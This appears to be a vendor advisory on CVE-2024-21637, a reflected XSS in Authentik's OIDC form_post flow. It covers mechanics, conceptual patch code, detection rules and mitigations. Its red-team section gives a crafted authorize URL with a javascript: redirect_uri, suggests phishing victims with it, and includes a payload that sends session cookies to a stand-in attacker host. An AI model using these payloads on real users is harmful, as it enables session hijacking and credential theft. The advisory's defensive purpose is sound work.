CVE-2024-21637

Executive Summary

CVE-2024-21637 is a reflected Cross-Site Scripting (XSS) vulnerability in Goauthentik, an open-source Identity Provider. The flaw exists in OpenID Connect (OIDC) flows when using response_mode=form_post. An attacker can craft a malicious OIDC authorization request containing a javascript: URI in the redirect_uri parameter. When the victim submits the form (POST), the browser interprets the javascript: URI, executing attacker-controlled code in the context of the Authentik domain. This can lead to session hijacking, credential theft, or privilege escalation. The vulnerability is patched in versions 2023.10.6 and 2023.8.6.

Supply Chain & Package Security

This vulnerability affects the Goauthentik software, which is distributed as a container image and via source code. Users should verify the integrity of their Authentik deployment and ensure they are running a patched version. No malicious packages have been reported in the supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link or submit a form)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: None

Threat Level: High. The vulnerability requires user interaction but can lead to full compromise of the victim's session within Authentik.

Deep Dive & Mechanics

The vulnerability resides in the OIDC authorization endpoint when response_mode=form_post is used. In this flow, the authorization server returns an HTML form that auto-submits to the redirect_uri with the authorization code or tokens. The redirect_uri is supposed to be a whitelisted URL, but the validation does not properly reject javascript: URIs.

Attack Flow:

1. An attacker registers a client in Authentik (or uses an existing one) and sets the redirect_uri to a javascript: URI, e.g., javascript:alert(document.cookie).
2. The attacker crafts a malicious OIDC authorization request URL pointing to the Authentik authorization endpoint with response_mode=form_post and the malicious redirect_uri.
3. The victim clicks the link or is redirected to it.
4. Authentik processes the request and returns an HTML form with action set to the malicious javascript: URI.
5. The browser auto-submits the form, executing the JavaScript code in the context of the Authentik domain.
6. The attacker can steal session cookies, perform actions on behalf of the victim, or escalate privileges.

Root Cause: Insufficient validation of the redirect_uri parameter. The server should reject any URI scheme other than https (or http for localhost) and should not allow javascript: or data: URIs.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In the OIDC authorization endpoint handler
redirect_uri = request.GET.get('redirect_uri')
# No validation of the URI scheme
form_action = redirect_uri
# Render form with action=redirect_uri

Patched Code (Conceptual):

from urllib.parse import urlparse

def is_valid_redirect_uri(uri):
    parsed = urlparse(uri)
    # Only allow https or http for localhost
    if parsed.scheme not in ('https', 'http'):
        return False
    # Additional validation (e.g., whitelist)
    return True

redirect_uri = request.GET.get('redirect_uri')
if not is_valid_redirect_uri(redirect_uri):
    raise InvalidRequestError("Invalid redirect_uri")
form_action = redirect_uri

The patch adds strict validation of the redirect_uri scheme, rejecting any non-HTTP(S) URIs.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Authentik instance (vulnerable version < 2023.10.6 or < 2023.8.6)
• A registered OIDC client (or ability to use an existing one)
• Victim user interaction (clicking a link)

Exploit Steps:

1. Register a client in Authentik with a javascript: redirect URI (e.g., javascript:void(0)). If the client registration validates the URI, you may need to use a different approach (e.g., intercepting the request).
2. Craft the malicious OIDC authorization URL:

   https://authentik.example.com/application/o/authorize/?client_id=YOUR_CLIENT_ID&response_type=code&redirect_uri=javascript:alert(document.cookie)&scope=openid&response_mode=form_post
   

3. Send the link to the victim (e.g., via phishing email).
4. When the victim clicks, the browser executes the JavaScript payload.

Advanced Payload:

// Steal session cookie and send to attacker
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + document.cookie;

Note: The redirect_uri must be URL-encoded in the actual request.

Blue Team

Detection:

• Monitor for OIDC authorization requests with unusual redirect_uri parameters (e.g., containing javascript: or data:).
• Look for response_mode=form_post in logs.
• Alert on any successful authentication followed by unexpected JavaScript execution.

Hunting:

• Search web server logs for redirect_uri=javascript: or redirect_uri=data:.
• Correlate with client registration events for suspicious redirect URIs.

Mitigation:

• Immediately upgrade to Authentik 2023.10.6 or 2023.8.6.
• If upgrade is not possible, implement a WAF rule to block javascript: and data: URIs in the redirect_uri parameter.
• Review all registered OIDC clients and remove any with non-HTTPS redirect URIs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing redirect_uri=javascript: in the query string.
  • POST requests to /application/o/authorize/ with response_mode=form_post and suspicious redirect_uri.
• Logs:
  • Authentik audit logs showing authorization requests with javascript: URIs.
  • Web server logs with 400 or 500 errors from the authorization endpoint.
• Endpoint:
  • Unexpected JavaScript execution in the browser (e.g., alert boxes, network requests to unknown domains).

Detection Engineering

YARA Rule

rule Detect_CVE_2024_21637_XSS_Redirect {
    meta:
        description = "Detects malicious OIDC authorization requests with javascript: redirect_uri"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-21637"
    strings:
        $redirect_uri = "redirect_uri=javascript:" nocase
        $form_post = "response_mode=form_post" nocase
    condition:
        $redirect_uri and $form_post
}

Sigma Rule

title: OIDC Authorization Request with Malicious Redirect URI
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects OIDC authorization requests containing javascript: in redirect_uri
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "redirect_uri=javascript:"
            - "response_mode=form_post"
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-21637 OIDC XSS via javascript: redirect_uri"; flow:to_server; content:"redirect_uri=javascript:"; nocase; content:"response_mode=form_post"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to Authentik version 2023.10.6 or 2023.8.6.
• If upgrade is not possible, implement a WAF rule to block requests containing javascript: or data: in the redirect_uri parameter.
• Review and remove any OIDC clients with non-HTTPS redirect URIs.

Long-term:

• Enforce strict validation of redirect URIs in all OIDC implementations.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of OIDC configurations.

Workaround:

• Disable response_mode=form_post if not required.
• Use response_mode=query or fragment instead, which are less susceptible to this attack.

Valters IT
Securing Digital Identities